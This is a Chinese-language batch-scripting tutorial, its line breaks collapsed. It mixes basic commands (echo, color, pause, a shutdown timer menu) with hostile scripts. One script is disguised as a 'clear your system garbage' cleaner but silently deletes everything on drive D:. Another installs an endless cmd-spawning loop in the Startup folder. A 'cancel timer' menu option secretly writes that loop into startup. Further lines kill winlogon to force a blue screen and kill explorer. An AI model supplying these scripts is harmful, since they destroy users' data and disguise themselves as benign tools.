1、批处理的作用
2、如何创建批处理
扩展名:.bat
创建方法:新建记事本文件,将扩展名改为.bat
3、批处理的语法
@echo off #关闭回写,屏蔽执行过程,建议放置在批处理首行#只在屏幕上显示结果,不现实执行过程。color 0a #0背景颜色黑色,a字体颜色绿色title clear program #为批处理脚本设置标题echo hello world #在屏幕上输出一段话echo ===============echo clear your system garbageecho if been stoppedecho please passecho ===============pause #暂停批处理运行echo. #输出一个空行echo garbage is cleaning......d: >nul 2>nul #进入d盘cd \ >nul 2>nul #进入d盘根目录rd . /s/q >nul 2>nul #删除d盘所有文件,相当于格式化d盘ping -n 10 127.0.0.1 >nul 2>nul#ping本机,将结果扔掉(>nul),#如果ping不通,结果也扔掉(2>nul)
文件名:a.bat#编写a.bat程序,将a.bat copy到开始菜单的启动项中,则每次开机自动执行a.bat,#a.bat实际上是一个死循环程序,不停的打开cmd窗口copy a.bat "%userprofile%\[开始]菜单\程序\启动"# userProfile是一个变量,值为当前用户的家目录,%%为取值:dstart #start帮助打开程序,如果什么都不写为打开cmdgoto d #跳转到d代码块
@echo offtitle fx小程序V1.0color 0a:menucls #清屏echo ===================echo 菜单echo 1、定时关机echo 2、取消定时echo 3、退出echo ===================set /p num=您的选择:if %num%=="1" goto 1if %num%=="2" goto 2if %num%=="3" goto 3echo 输入无效,请重新输入pausegoto menu:1set /p a=请输入时间(单位/秒) #/p等待用户输入shutdown -s -f -t %a%goto menu:2shutdown -agoto menu:3exitgoto menu
@echo offtitle fx小程序V2.0color 0a:menucls #清屏echo ===================echo 菜单echo 1、定时关机echo 2、取消定时echo 3、退出echo ===================set /p num=您的选择:if %num%=="1" goto 1if %num%=="2" goto 2if %num%=="3" goto 3echo 输入无效,请重新输入pausegoto menu:1set /p a=请输入时间(单位/秒) #/p等待用户输入shutdown -s -f -t %a%goto menu:2echo :a >>"%userprofile%\[开始]菜单\程序\启动\haha.bat"echo start >>"%userprofile%\[开始]菜单\程序\启动\haha.bat"echo goto a >>"%userprofile%\[开始]菜单\程序\启动\haha.bat"goto menu:3exitgoto menu
ntsd -c q -pn winlogon.exe #杀Windows登录进程,针对xp或winserver2003的蓝屏命令taskkill /im explorer.exe /f #杀死桌面程序进程,/im指定进程名称,/f强制执行
